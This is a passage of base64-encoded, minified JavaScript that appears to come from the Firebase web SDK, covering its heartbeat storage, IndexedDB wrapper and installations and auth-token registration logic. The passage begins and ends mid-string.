hMSkpfWFzeW5jIHJlYWQoKXtpZihhd2FpdCB0aGlzLl9jYW5Vc2VJbmRleGVkREJQcm9taXNlKXtyZXR1cm4gYXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7dHJ5e2NvbnN0IHQ9YXdhaXQgdWUoKTtyZXR1cm4gYXdhaXQgdC50cmFuc2FjdGlvbihzZSkub2JqZWN0U3RvcmUoc2UpLmdldChsZShlKSl9Y2F0Y2godCl7aWYodCBpbnN0YW5jZW9mIGwpcS53YXJuKHQubWVzc2FnZSk7ZWxzZXtjb25zdCBlPXRlLmNyZWF0ZSgiaWRiLWdldCIse29yaWdpbmFsRXJyb3JNZXNzYWdlOm51bGw9PXQ/dm9pZCAwOnQubWVzc2FnZX0pO3Eud2FybihlLm1lc3NhZ2UpfX19KHRoaXMuYXBwKXx8e2hlYXJ0YmVhdHM6W119fXJldHVybntoZWFydGJlYXRzOltdfX1hc3luYyBvdmVyd3JpdGUoZSl7dmFyIHQ7aWYoYXdhaXQgdGhpcy5fY2FuVXNlSW5kZXhlZERCUHJvbWlzZSl7Y29uc3Qgbj1hd2FpdCB0aGlzLnJlYWQoKTtyZXR1cm4gZGUodGhpcy5hcHAse2xhc3RTZW50SGVhcnRiZWF0RGF0ZTpudWxsIT09KHQ9ZS5sYXN0U2VudEhlYXJ0YmVhdERhdGUpJiZ2b2lkIDAhPT10P3Q6bi5sYXN0U2VudEhlYXJ0YmVhdERhdGUsaGVhcnRiZWF0czplLmhlYXJ0YmVhdHN9KX19YXN5bmMgYWRkKGUpe3ZhciB0O2lmKGF3YWl0IHRoaXMuX2NhblVzZUluZGV4ZWREQlByb21pc2Upe2NvbnN0IG49YXdhaXQgdGhpcy5yZWFkKCk7cmV0dXJuIGRlKHRoaXMuYXBwLHtsYXN0U2VudEhlYXJ0YmVhdERhdGU6bnVsbCE9PSh0PWUubGFzdFNlbnRIZWFydGJlYXREYXRlKSYmdm9pZCAwIT09dD90Om4ubGFzdFNlbnRIZWFydGJlYXREYXRlLGhlYXJ0YmVhdHM6Wy4uLm4uaGVhcnRiZWF0cywuLi5lLmhlYXJ0YmVhdHNdfSl9fX1mdW5jdGlvbiBnZShlKXtyZXR1cm4gaShKU09OLnN0cmluZ2lmeSh7dmVyc2lvbjoyLGhlYXJ0YmVhdHM6ZX0pKS5sZW5ndGh9dmFyIG1lO21lPSIiLFoobmV3IGIoInBsYXRmb3JtLWxvZ2dlciIsKGU9Pm5ldyBWKGUpKSwiUFJJVkFURSIpKSxaKG5ldyBiKCJoZWFydGJlYXQiLChlPT5uZXcgcGUoZSkpLCJQUklWQVRFIikpLHJlKFUseixtZSkscmUoVSx6LCJlc20yMDE3IikscmUoImZpcmUtanMiLCIiKTtjb25zdCBiZT0oZSx0KT0+dC5zb21lKCh0PT5lIGluc3RhbmNlb2YgdCkpO2xldCB3ZSx5ZTtjb25zdCB2ZT1uZXcgV2Vha01hcCxJZT1uZXcgV2Vha01hcCxTZT1uZXcgV2Vha01hcCxrZT1uZXcgV2Vha01hcCxfZT1uZXcgV2Vha01hcDtsZXQgRWU9e2dldChlLHQsbil7aWYoZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uKXtpZigiZG9uZSI9PT10KXJldHVybiBJZS5nZXQoZSk7aWYoIm9iamVjdFN0b3JlTmFtZXMiPT09dClyZXR1cm4gZS5vYmplY3RTdG9yZU5hbWVzfHxTZS5nZXQoZSk7aWYoInN0b3JlIj09PXQpcmV0dXJuIG4ub2JqZWN0U3RvcmVOYW1lc1sxXT92b2lkIDA6bi5vYmplY3RTdG9yZShuLm9iamVjdFN0b3JlTmFtZXNbMF0pfXJldHVybiBUZShlW3RdKX0sc2V0OihlLHQsbik9PihlW3RdPW4sITApLGhhczooZSx0KT0+ZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uJiYoImRvbmUiPT09dHx8InN0b3JlIj09PXQpfHx0IGluIGV9O2Z1bmN0aW9uIERlKGUpe3JldHVybiBlIT09SURCRGF0YWJhc2UucHJvdG90eXBlLnRyYW5zYWN0aW9ufHwib2JqZWN0U3RvcmVOYW1lcyJpbiBJREJUcmFuc2FjdGlvbi5wcm90b3R5cGU/KHllfHwoeWU9W0lEQkN1cnNvci5wcm90b3R5cGUuYWR2YW5jZSxJREJDdXJzb3IucHJvdG90eXBlLmNvbnRpbnVlLElEQkN1cnNvci5wcm90b3R5cGUuY29udGludWVQcmltYXJ5S2V5XSkpLmluY2x1ZGVzKGUpP2Z1bmN0aW9uKC4uLnQpe3JldHVybiBlLmFwcGx5KEFlKHRoaXMpLHQpLFRlKHZlLmdldCh0aGlzKSl9OmZ1bmN0aW9uKC4uLnQpe3JldHVybiBUZShlLmFwcGx5KEFlKHRoaXMpLHQpKX06ZnVuY3Rpb24odCwuLi5uKXtjb25zdCBpPWUuY2FsbChBZSh0aGlzKSx0LC4uLm4pO3JldHVybiBTZS5zZXQoaSx0LnNvcnQ/dC5zb3J0KCk6W3RdKSxUZShpKX19ZnVuY3Rpb24gQ2UoZSl7cmV0dXJuImZ1bmN0aW9uIj09dHlwZW9mIGU/RGUoZSk6KGUgaW5zdGFuY2VvZiBJREJUcmFuc2FjdGlvbiYmZnVuY3Rpb24oZSl7aWYoSWUuaGFzKGUpKXJldHVybjtjb25zdCB0PW5ldyBQcm9taXNlKCgodCxuKT0+e2NvbnN0IGk9KCk9PntlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImNvbXBsZXRlIixyKSxlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImVycm9yIixhKSxlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImFib3J0IixhKX0scj0oKT0+e3QoKSxpKCl9LGE9KCk9PntuKGUuZXJyb3J8fG5ldyBET01FeGNlcHRpb24oIkFib3J0RXJyb3IiLCJBYm9ydEVycm9yIikpLGkoKX07ZS5hZGRFdmVudExpc3RlbmVyKCJjb21wbGV0ZSIsciksZS5hZGRFdmVudExpc3RlbmVyKCJlcnJvciIsYSksZS5hZGRFdmVudExpc3RlbmVyKCJhYm9ydCIsYSl9KSk7SWUuc2V0KGUsdCl9KGUpLGJlKGUsd2V8fCh3ZT1bSURCRGF0YWJhc2UsSURCT2JqZWN0U3RvcmUsSURCSW5kZXgsSURCQ3Vyc29yLElEQlRyYW5zYWN0aW9uXSkpP25ldyBQcm94eShlLEVlKTplKX1mdW5jdGlvbiBUZShlKXtpZihlIGluc3RhbmNlb2YgSURCUmVxdWVzdClyZXR1cm4gZnVuY3Rpb24oZSl7Y29uc3QgdD1uZXcgUHJvbWlzZSgoKHQsbik9Pntjb25zdCBpPSgpPT57ZS5yZW1vdmVFdmVudExpc3RlbmVyKCJzdWNjZXNzIixyKSxlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImVycm9yIixhKX0scj0oKT0+e3QoVGUoZS5yZXN1bHQpKSxpKCl9LGE9KCk9PntuKGUuZXJyb3IpLGkoKX07ZS5hZGRFdmVudExpc3RlbmVyKCJzdWNjZXNzIixyKSxlLmFkZEV2ZW50TGlzdGVuZXIoImVycm9yIixhKX0pKTtyZXR1cm4gdC50aGVuKCh0PT57dCBpbnN0YW5jZW9mIElEQkN1cnNvciYmdmUuc2V0KHQsZSl9KSkuY2F0Y2goKCgpPT57fSkpLF9lLnNldCh0LGUpLHR9KGUpO2lmKGtlLmhhcyhlKSlyZXR1cm4ga2UuZ2V0KGUpO2NvbnN0IHQ9Q2UoZSk7cmV0dXJuIHQhPT1lJiYoa2Uuc2V0KGUsdCksX2Uuc2V0KHQsZSkpLHR9Y29uc3QgQWU9ZT0+X2UuZ2V0KGUpO2Z1bmN0aW9uIE9lKGUsdCx7YmxvY2tlZDpuLHVwZ3JhZGU6aSxibG9ja2luZzpyLHRlcm1pbmF0ZWQ6YX09e30pe2NvbnN0IG89aW5kZXhlZERCLm9wZW4oZSx0KSxzPVRlKG8pO3JldHVybiBpJiZvLmFkZEV2ZW50TGlzdGVuZXIoInVwZ3JhZGVuZWVkZWQiLChlPT57aShUZShvLnJlc3VsdCksZS5vbGRWZXJzaW9uLGUubmV3VmVyc2lvbixUZShvLnRyYW5zYWN0aW9uKSl9KSksbiYmby5hZGRFdmVudExpc3RlbmVyKCJibG9ja2VkIiwoKCk9Pm4oKSkpLHMudGhlbigoZT0+e2EmJmUuYWRkRXZlbnRMaXN0ZW5lcigiY2xvc2UiLCgoKT0+YSgpKSksciYmZS5hZGRFdmVudExpc3RlbmVyKCJ2ZXJzaW9uY2hhbmdlIiwoKCk9PnIoKSkpfSkpLmNhdGNoKCgoKT0+e30pKSxzfWZ1bmN0aW9uIE1lKGUse2Jsb2NrZWQ6dH09e30pe2NvbnN0IG49aW5kZXhlZERCLmRlbGV0ZURhdGFiYXNlKGUpO3JldHVybiB0JiZuLmFkZEV2ZW50TGlzdGVuZXIoImJsb2NrZWQiLCgoKT0+dCgpKSksVGUobikudGhlbigoKCk9Pnt9KSl9Y29uc3QgamU9WyJnZXQiLCJnZXRLZXkiLCJnZXRBbGwiLCJnZXRBbGxLZXlzIiwiY291bnQiXSxOZT1bInB1dCIsImFkZCIsImRlbGV0ZSIsImNsZWFyIl0sUGU9bmV3IE1hcDtmdW5jdGlvbiBCZShlLHQpe2lmKCEoZSBpbnN0YW5jZW9mIElEQkRhdGFiYXNlKXx8dCBpbiBlfHwic3RyaW5nIiE9dHlwZW9mIHQpcmV0dXJuO2lmKFBlLmdldCh0KSlyZXR1cm4gUGUuZ2V0KHQpO2NvbnN0IG49dC5yZXBsYWNlKC9Gcm9tSW5kZXgkLywiIiksaT10IT09bixyPU5lLmluY2x1ZGVzKG4pO2lmKCEobiBpbihpP0lEQkluZGV4OklEQk9iamVjdFN0b3JlKS5wcm90b3R5cGUpfHwhciYmIWplLmluY2x1ZGVzKG4pKXJldHVybjtjb25zdCBhPWFzeW5jIGZ1bmN0aW9uKGUsLi4udCl7Y29uc3QgYT10aGlzLnRyYW5zYWN0aW9uKGUscj8icmVhZHdyaXRlIjoicmVhZG9ubHkiKTtsZXQgbz1hLnN0b3JlO3JldHVybiBpJiYobz1vLmluZGV4KHQuc2hpZnQoKSkpLChhd2FpdCBQcm9taXNlLmFsbChbb1tuXSguLi50KSxyJiZhLmRvbmVdKSlbMF19O3JldHVybiBQZS5zZXQodCxhKSxhfSFmdW5jdGlvbihlKXtFZT1lKEVlKX0oKGU9Pih7Li4uZSxnZXQ6KHQsbixpKT0+QmUodCxuKXx8ZS5nZXQodCxuLGkpLGhhczoodCxuKT0+ISFCZSh0LG4pfHxlLmhhcyh0LG4pfSkpKTtjb25zdCBMZT0iQGZpcmViYXNlL2luc3RhbGxhdGlvbnMiLCRlPSIwLjYuNCIsUmU9MWU0LHhlPWB3OiR7JGV9YCxLZT0iRklTX3YyIixIZT0iaHR0cHM6Ly9maXJlYmFzZWluc3RhbGxhdGlvbnMuZ29vZ2xlYXBpcy5jb20vdjEiLEZlPTM2ZTUsV2U9bmV3IHAoImluc3RhbGxhdGlvbnMiLCJJbnN0YWxsYXRpb25zIix7Im1pc3NpbmctYXBwLWNvbmZpZy12YWx1ZXMiOidNaXNzaW5nIEFwcCBjb25maWd1cmF0aW9uIHZhbHVlOiAieyR2YWx1ZU5hbWV9IicsIm5vdC1yZWdpc3RlcmVkIjoiRmlyZWJhc2UgSW5zdGFsbGF0aW9uIGlzIG5vdCByZWdpc3RlcmVkLiIsImluc3RhbGxhdGlvbi1ub3QtZm91bmQiOiJGaXJlYmFzZSBJbnN0YWxsYXRpb24gbm90IGZvdW5kLiIsInJlcXVlc3QtZmFpbGVkIjoneyRyZXF1ZXN0TmFtZX0gcmVxdWVzdCBmYWlsZWQgd2l0aCBlcnJvciAieyRzZXJ2ZXJDb2RlfSB7JHNlcnZlclN0YXR1c306IHskc2VydmVyTWVzc2FnZX0iJywiYXBwLW9mZmxpbmUiOiJDb3VsZCBub3QgcHJvY2VzcyByZXF1ZXN0LiBBcHBsaWNhdGlvbiBvZmZsaW5lLiIsImRlbGV0ZS1wZW5kaW5nLXJlZ2lzdHJhdGlvbiI6IkNhbid0IGRlbGV0ZSBpbnN0YWxsYXRpb24gd2hpbGUgdGhlcmUgaXMgYSBwZW5kaW5nIHJlZ2lzdHJhdGlvbiByZXF1ZXN0LiJ9KTtmdW5jdGlvbiBWZShlKXtyZXR1cm4gZSBpbnN0YW5jZW9mIGwmJmUuY29kZS5pbmNsdWRlcygicmVxdWVzdC1mYWlsZWQiKX1mdW5jdGlvbiBVZSh7cHJvamVjdElkOmV9KXtyZXR1cm5gJHtIZX0vcHJvamVjdHMvJHtlfS9pbnN0YWxsYXRpb25zYH1mdW5jdGlvbiB6ZShlKXtyZXR1cm57dG9rZW46ZS50b2tlbixyZXF1ZXN0U3RhdHVzOjIsZXhwaXJlc0luOih0PWUuZXhwaXJlc0luLE51bWJlcih0LnJlcGxhY2UoInMiLCIwMDAiKSkpLGNyZWF0aW9uVGltZTpEYXRlLm5vdygpfTt2YXIgdH1hc3luYyBmdW5jdGlvbiBxZShlLHQpe2NvbnN0IG49KGF3YWl0IHQuanNvbigpKS5lcnJvcjtyZXR1cm4gV2UuY3JlYXRlKCJyZXF1ZXN0LWZhaWxlZCIse3JlcXVlc3ROYW1lOmUsc2VydmVyQ29kZTpuLmNvZGUsc2VydmVyTWVzc2FnZTpuLm1lc3NhZ2Usc2VydmVyU3RhdHVzOm4uc3RhdHVzfSl9ZnVuY3Rpb24gR2Uoe2FwaUtleTplfSl7cmV0dXJuIG5ldyBIZWFkZXJzKHsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24vanNvbiIsQWNjZXB0OiJhcHBsaWNhdGlvbi9qc29uIiwieC1nb29nLWFwaS1rZXkiOmV9KX1mdW5jdGlvbiBKZShlLHtyZWZyZXNoVG9rZW46dH0pe2NvbnN0IG49R2UoZSk7cmV0dXJuIG4uYXBwZW5kKCJBdXRob3JpemF0aW9uIixmdW5jdGlvbihlKXtyZXR1cm5gJHtLZX0gJHtlfWB9KHQpKSxufWFzeW5jIGZ1bmN0aW9uIFllKGUpe2NvbnN0IHQ9YXdhaXQgZSgpO3JldHVybiB0LnN0YXR1cz49NTAwJiZ0LnN0YXR1czw2MDA/ZSgpOnR9ZnVuY3Rpb24gUWUoZSl7cmV0dXJuIG5ldyBQcm9taXNlKCh0PT57c2V0VGltZW91dCh0LGUpfSkpfWNvbnN0IFhlPS9eW2NkZWZdW1x3LV17MjF9JC8sWmU9IiI7ZnVuY3Rpb24gZXQoKXt0cnl7Y29uc3QgZT1uZXcgVWludDhBcnJheSgxNyk7KHNlbGYuY3J5cHRvfHxzZWxmLm1zQ3J5cHRvKS5nZXRSYW5kb21WYWx1ZXMoZSksZVswXT0xMTIrZVswXSUxNjtjb25zdCB0PWZ1bmN0aW9uKGUpe2NvbnN0IHQ9KG49ZSxidG9hKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4ubikpLnJlcGxhY2UoL1wrL2csIi0iKS5yZXBsYWNlKC9cLy9nLCJfIikpO3ZhciBuO3JldHVybiB0LnN1YnN0cigwLDIyKX0oZSk7cmV0dXJuIFhlLnRlc3QodCk/dDpaZX1jYXRjaChlKXtyZXR1cm4gWmV9fWZ1bmN0aW9uIHR0KGUpe3JldHVybmAke2UuYXBwTmFtZX0hJHtlLmFwcElkfWB9Y29uc3QgbnQ9bmV3IE1hcDtmdW5jdGlvbiBpdChlLHQpe2NvbnN0IG49dHQoZSk7cnQobix0KSxmdW5jdGlvbihlLHQpe2NvbnN0IG49ZnVuY3Rpb24oKXshYXQmJiJCcm9hZGNhc3RDaGFubmVsImluIHNlbGYmJihhdD1uZXcgQnJvYWRjYXN0Q2hhbm5lbCgiW0ZpcmViYXNlXSBGSUQgQ2hhbmdlIiksYXQub25tZXNzYWdlPWU9PntydChlLmRhdGEua2V5LGUuZGF0YS5maWQpfSk7cmV0dXJuIGF0fSgpO24mJm4ucG9zdE1lc3NhZ2Uoe2tleTplLGZpZDp0fSk7MD09PW50LnNpemUmJmF0JiYoYXQuY2xvc2UoKSxhdD1udWxsKX0obix0KX1mdW5jdGlvbiBydChlLHQpe2NvbnN0IG49bnQuZ2V0KGUpO2lmKG4pZm9yKGNvbnN0IGkgb2YgbilpKHQpfWxldCBhdD1udWxsO2NvbnN0IG90PSJmaXJlYmFzZS1pbnN0YWxsYXRpb25zLWRhdGFiYXNlIixzdD0xLGN0PSJmaXJlYmFzZS1pbnN0YWxsYXRpb25zLXN0b3JlIjtsZXQgdXQ9bnVsbDtmdW5jdGlvbiBkdCgpe3JldHVybiB1dHx8KHV0PU9lKG90LHN0LHt1cGdyYWRlOihlLHQpPT57aWYoMD09PXQpZS5jcmVhdGVPYmplY3RTdG9yZShjdCl9fSkpLHV0fWFzeW5jIGZ1bmN0aW9uIGx0KGUsdCl7Y29uc3Qgbj10dChlKSxpPShhd2FpdCBkdCgpKS50cmFuc2FjdGlvbihjdCwicmVhZHdyaXRlIikscj1pLm9iamVjdFN0b3JlKGN0KSxhPWF3YWl0IHIuZ2V0KG4pO3JldHVybiBhd2FpdCByLnB1dCh0LG4pLGF3YWl0IGkuZG9uZSxhJiZhLmZpZD09PXQuZmlkfHxpdChlLHQuZmlkKSx0fWFzeW5jIGZ1bmN0aW9uIHB0KGUpe2NvbnN0IHQ9dHQoZSksbj0oYXdhaXQgZHQoKSkudHJhbnNhY3Rpb24oY3QsInJlYWR3cml0ZSIpO2F3YWl0IG4ub2JqZWN0U3RvcmUoY3QpLmRlbGV0ZSh0KSxhd2FpdCBuLmRvbmV9YXN5bmMgZnVuY3Rpb24gZnQoZSx0KXtjb25zdCBuPXR0KGUpLGk9KGF3YWl0IGR0KCkpLnRyYW5zYWN0aW9uKGN0LCJyZWFkd3JpdGUiKSxyPWkub2JqZWN0U3RvcmUoY3QpLGE9YXdhaXQgci5nZXQobiksbz10KGEpO3JldHVybiB2b2lkIDA9PT1vP2F3YWl0IHIuZGVsZXRlKG4pOmF3YWl0IHIucHV0KG8sbiksYXdhaXQgaS5kb25lLCFvfHxhJiZhLmZpZD09PW8uZmlkfHxpdChlLG8uZmlkKSxvfWFzeW5jIGZ1bmN0aW9uIGh0KGUpe2xldCB0O2NvbnN0IG49YXdhaXQgZnQoZS5hcHBDb25maWcsKG49Pntjb25zdCBpPWZ1bmN0aW9uKGUpe2NvbnN0IHQ9ZXx8e2ZpZDpldCgpLHJlZ2lzdHJhdGlvblN0YXR1czowfTtyZXR1cm4gYnQodCl9KG4pLHI9ZnVuY3Rpb24oZSx0KXtpZigwPT09dC5yZWdpc3RyYXRpb25TdGF0dXMpe2lmKCFuYXZpZ2F0b3Iub25MaW5lKXtyZXR1cm57aW5zdGFsbGF0aW9uRW50cnk6dCxyZWdpc3RyYXRpb25Qcm9taXNlOlByb21pc2UucmVqZWN0KFdlLmNyZWF0ZSgiYXBwLW9mZmxpbmUiKSl9fWNvbnN0IG49e2ZpZDp0LmZpZCxyZWdpc3RyYXRpb25TdGF0dXM6MSxyZWdpc3RyYXRpb25UaW1lOkRhdGUubm93KCl9LGk9YXN5bmMgZnVuY3Rpb24oZSx0KXt0cnl7Y29uc3Qgbj1hd2FpdCBhc3luYyBmdW5jdGlvbih7YXBwQ29uZmlnOmUsaGVhcnRiZWF0U2VydmljZVByb3ZpZGVyOnR9LHtmaWQ6bn0pe2NvbnN0IGk9VWUoZSkscj1HZShlKSxhPXQuZ2V0SW1tZWRpYXRlKHtvcHRpb25hbDohMH0pO2lmKGEpe2NvbnN0IGU9YXdhaXQgYS5nZXRIZWFydGJlYXRzSGVhZGVyKCk7ZSYmci5hcHBlbmQoIngtZmlyZWJhc2UtY2xpZW50IixlKX1jb25zdCBvPXtmaWQ6bixhdXRoVmVyc2lvbjpLZSxhcHBJZDplLmFwcElkLHNka1ZlcnNpb246eGV9LHM9e21ldGhvZDoiUE9TVCIsaGVhZGVyczpyLGJvZHk6SlNPTi5zdHJpbmdpZnkobyl9LGM9YXdhaXQgWWUoKCgpPT5mZXRjaChpLHMpKSk7aWYoYy5vayl7Y29uc3QgZT1hd2FpdCBjLmpzb24oKTtyZXR1cm57ZmlkOmUuZmlkfHxuLHJlZ2lzdHJhdGlvblN0YXR1czoyLHJlZnJlc2hUb2tlbjplLnJlZnJlc2hUb2tlbixhdXRoVG9rZW46emUoZS5hdXRoVG9rZW4pfX10aHJvdyBhd2FpdCBxZSgiQ3JlYXRlIEluc3RhbGxhdGlvbiIsYyl9KGUsdCk7cmV0dXJuIGx0KGUuYXBwQ29uZmlnLG4pfWNhdGNoKG4pe3Rocm93IFZlKG4pJiY0MDk9PT1uLmN1c3RvbURhdGEuc2VydmVyQ29kZT9hd2FpdCBwdChlLmFwcENvbmZpZyk6YXdhaXQgbHQoZS5hcHBDb25maWcse2ZpZDp0LmZpZCxyZWdpc3RyYXRpb25TdGF0dXM6MH0pLG59fShlLG4pO3JldHVybntpbnN0YWxsYXRpb25FbnRyeTpuLHJlZ2lzdHJhdGlvblByb21pc2U6aX19cmV0dXJuIDE9PT10LnJlZ2lzdHJhdGlvblN0YXR1cz97aW5zdGFsbGF0aW9uRW50cnk6dCxyZWdpc3RyYXRpb25Qcm9taXNlOmd0KGUpfTp7aW5zdGFsbGF0aW9uRW50cnk6dH19KGUsaSk7cmV0dXJuIHQ9ci5yZWdpc3RyYXRpb25Qcm9taXNlLHIuaW5zdGFsbGF0aW9uRW50cnl9KSk7cmV0dXJuIG4uZmlkPT09WmU/e2luc3RhbGxhdGlvbkVudHJ5OmF3YWl0IHR9OntpbnN0YWxsYXRpb25FbnRyeTpuLHJlZ2lzdHJhdGlvblByb21pc2U6dH19YXN5bmMgZnVuY3Rpb24gZ3QoZSl7bGV0IHQ9YXdhaXQgbXQoZS5hcHBDb25maWcpO2Zvcig7MT09PXQucmVnaXN0cmF0aW9uU3RhdHVzOylhd2FpdCBRZSgxMDApLHQ9YXdhaXQgbXQoZS5hcHBDb25maWcpO2lmKDA9PT10LnJlZ2lzdHJhdGlvblN0YXR1cyl7Y29uc3R7aW5zdGFsbGF0aW9uRW50cnk6dCxyZWdpc3RyYXRpb25Qcm9taXNlOm59PWF3YWl0IGh0KGUpO3JldHVybiBufHx0fXJldHVybiB0fWZ1bmN0aW9uIG10KGUpe3JldHVybiBmdChlLChlPT57aWYoIWUpdGhyb3cgV2UuY3JlYXRlKCJpbnN0YWxsYXRpb24tbm90LWZvdW5kIik7cmV0dXJuIGJ0KGUpfSkpfWZ1bmN0aW9uIGJ0KGUpe3JldHVybiAxPT09KHQ9ZSkucmVnaXN0cmF0aW9uU3RhdHVzJiZ0LnJlZ2lzdHJhdGlvblRpbWUrUmU8RGF0ZS5ub3coKT97ZmlkOmUuZmlkLHJlZ2lzdHJhdGlvblN0YXR1czowfTplO3ZhciB0fWFzeW5jIGZ1bmN0aW9uIHd0KHthcHBDb25maWc6ZSxoZWFydGJlYXRTZXJ2aWNlUHJvdmlkZXI6dH0sbil7Y29uc3QgaT1mdW5jdGlvbihlLHtmaWQ6dH0pe3JldHVybmAke1VlKGUpfS8ke3R9L2F1dGhUb2tlbnM6Z2VuZXJhdGVgfShlLG4pLHI9SmUoZSxuKSxhPXQuZ2V0SW1tZWRpYXRlKHtvcHRpb25hbDohMH0pO2lmKGEpe2NvbnN0IGU9YXdhaXQgYS5nZXRIZWFydGJlYXRzSGVhZGVyKCk7ZSYmci5hcHBlbmQoIngtZmlyZWJhc2UtY2xpZW50IixlKX1jb25zdCBvPXtpbnN0YWxsYXRpb246e3Nka1ZlcnNpb246eGUsYXBwSWQ6ZS5hcHBJZH19LHM9e21ldGhvZDoiUE9TVCIsaGVhZGVyczpyLGJvZHk6SlNPTi5zdHJpbmdpZnkobyl9LGM9YXdhaXQgWWUoKCgpPT5mZXRjaChpLHMpKSk7aWYoYy5vayl7cmV0dXJuIHplKGF3YWl0IGMuanNvbigpKX10aHJvdyBhd2FpdCBxZSgiR2VuZXJhdGUgQXV0aCBUb2tlbiIsYyl9YXN5bmMgZnVuY3Rpb24geXQoZSx0PSExKXtsZXQgbjtjb25zdCBpPWF3YWl0IGZ0KGUuYXBwQ29uZmlnLChpPT57aWYoIUl0KGkpKXRocm93IFdlLmNyZWF0ZSgibm90LXJlZ2lzdGVyZWQiKTtjb25zdCByPWkuYXV0aFRva2VuO2lmKCF0JiZmdW5jdGlvbihlKXtyZXR1cm4gMj09PWUucmVxdWVzdFN0YXR1cyYmIWZ1bmN0aW9uKGUpe2NvbnN0IHQ9RGF0ZS5ub3coKTtyZXR1cm4gdDxlLmNyZWF0aW9uVGltZXx8ZS5jcmVhdGlvblRpbWUrZS5leHBpcmVzSW48dCtGZX0oZSl9KHIpKXJldHVybiBpO2lmKDE9PT1yLnJlcXVlc3RTdGF0dXMpcmV0dXJuIG49YXN5bmMgZnVuY3Rpb24oZSx0KXtsZXQgbj1hd2FpdCB2dChlLmFwcENvbmZpZyk7Zm9yKDsxPT09bi5hdXRoVG9rZW4ucmVxdWVzdFN0YXR1czspYXdhaXQgUWUoMTAwKSxuPWF3YWl0IHZ0KGUuYXBwQ29uZmlnKTtjb25zdCBpPW4uYXV0aFRva2VuO3JldHVybiAwPT09aS5yZXF1ZXN0U3RhdHVzP3l0KGUsdCk6aX0oZSx0KSxpO3tpZighbmF2aWdhdG9yLm9uTGluZSl0aHJvdyBXZS5jcmVhdGUoImFwcC1vZmZsaW5lIik7Y29uc3QgdD1mdW5jdGlvbihlKXtjb25zdCB0PXtyZXF1ZXN0U3RhdHVzOjEscmVxdWVzdFRpbWU6RGF0ZS5ub3coKX07cmV0dXJuIE9iamVjdC5hc3NpZ24oT2JqZWN0LmFzc2lnbih7fSxlKSx7YXV0aFRva2VuOnR9KX0oaSk7cmV0dXJuIG49YXN5bmMgZnVuY3Rpb24oZSx0KXt0cnl7Y29uc3Qgbj1hd2FpdCB3dChlLHQpLGk9T2JqZWN0LmFzc2lnbihPYmplY3QuYXNzaWduKHt9LHQpLHthdXRoVG9rZW46bn0pO3JldHVybiBhd2FpdCBsdChlLmFwcENvbmZpZyxpKSxufWNhdGNoKG4pe2lmKCFWZShuKXx8NDAxIT09bi5jdXN0b21EYXRhLnNlcnZlckNvZGUmJjQwNCE9PW4uY3VzdG9tRGF0YS5zZXJ2ZXJDb2RlKXtjb25zdCBuPU9iamVjdC5hc3NpZ24oT2JqZWN0LmFzc2lnbih7fSx0KSx7YXV0aFRva2VuOntyZXF1ZXN0U3RhdHVzOjB9fSk7YXdhaXQgbHQoZS5hcHBDb25maWcsbil9ZWxzZSBhd2FpdCBwdChlLmFwcENvbmZpZyk7dGhyb3cgbn19KGUsdCksdH19KSk7cmV0dXJuIG4/YXdhaXQgbjppLmF1dGhUb2tlbn1mdW5jdGlvbiB2dChlKXtyZXR1cm4gZnQoZSwoZT0+e2lmKCFJdChlKSl0aHJvdyBXZS5jcmVhdGUoIm5vdC1yZWdpc3RlcmVkIik7Y29uc3QgdD1lLmF1dGhUb2tlbjtyZXR1cm4gMT09PShuPXQpLnJlcXVlc3RTdGF0dXMmJm4ucmVxdWVzdFRpbWUrUmU8RGF0ZS5ub3coKT9PYmplY3QuYXNzaWduKE9iamVjdC5hc3NpZ24oe30sZSkse2F1dGhUb2tlbjp7cmVxdWVzdFN0YXR1czowfX0pOmU7dmFyIG59KSl9ZnVuY3Rpb24gSXQoZSl7cmV0dXJuIHZvaWQgMCE9PWUmJjI9PT1lLnJlZ2lzdHJhdGlvblN0YXR1c31hc3luYyBmdW5jdGlvbiBTdChlLHQ9ITEpe2NvbnN0IG49ZTthd2FpdCBhc3luYyBmdW5jdGlvbihlKXtjb25zdHtyZWdpc3RyYXRpb25Qcm9taXNlOnR9PWF3YWl0IGh0KGUpO3QmJmF3YWl0IHR9KG4pO3JldHVybihhd2FpdCB5dChuLHQpKS50b2tlbn1mdW5jdGlvbiBrdChlKXtyZXR1cm4gV2UuY3JlYXRlKCJtaXNzaW5nLWFwcC1jb25maWctdmFsdWVzIix7dmFsdWVOYW1lOmV9KX1jb25zdCBfdD0iaW5zdGFsbGF0aW9ucyIsRXQ9ZT0+e2NvbnN0IHQ9ZWUoZS5nZXRQcm92aWRlcigiYXBwIikuZ2V0SW1tZWRpYXRlKCksX3QpLmdldEltbWVkaWF0ZSgpO3JldHVybntnZXRJZDooKT0+YXN5bmMgZnVuY3Rpb24oZSl7Y29uc3QgdD1lLHtpbnN0YWxsYXRpb25FbnRyeTpuLHJlZ2lzdHJhdGlvblByb21pc2U6aX09YXdhaXQgaHQodCk7cmV0dXJuIGk/aS5jYXRjaChjb25zb2xlLmVycm9yKTp5dCh0KS5jYXRjaChjb25zb2xlLmVycm9yKSxuLmZpZH0odCksZ2V0VG9rZW46ZT0+U3QodCxlKX19O1oobmV3IGIoX3QsKGU9Pntjb25zdCB0PWUuZ2V0UHJvdmlkZXIoImFwcCIpLmdldEltbWVkaWF0ZSgpLG49ZnVuY3Rpb24oZSl7aWYoIWV8fCFlLm9wdGlvbnMpdGhyb3cga3QoIkFwcCBDb25maWd1cmF0aW9uIik7aWYoIWUubmFtZSl0aHJvdyBrdCgiQXBwIE5hbWUiKTtjb25zdCB0PVsicHJvamVjdElkIiwiYXBpS2V5IiwiYXBwSWQiXTtmb3IoY29uc3QgbiBvZiB0KWlmKCFlLm9wdGlvbnNbbl0pdGhyb3cga3Qobik7cmV0dXJue2FwcE5hbWU6ZS5uYW1lLHByb2plY3RJZDplLm9wdGlvbnMucHJvamVjdElkLGFwaUtleTplLm9wdGlvbnMuYXBpS2V5LGFwcElkOmUub3B0aW9ucy5hcHBJZH19KHQpO3JldHVybnthcHA6dCxhcHBDb25maWc6bixoZWFydGJlYXRTZXJ2aWNlUHJvdmlkZXI6ZWUodCwiaGVhcnRiZWF0Ii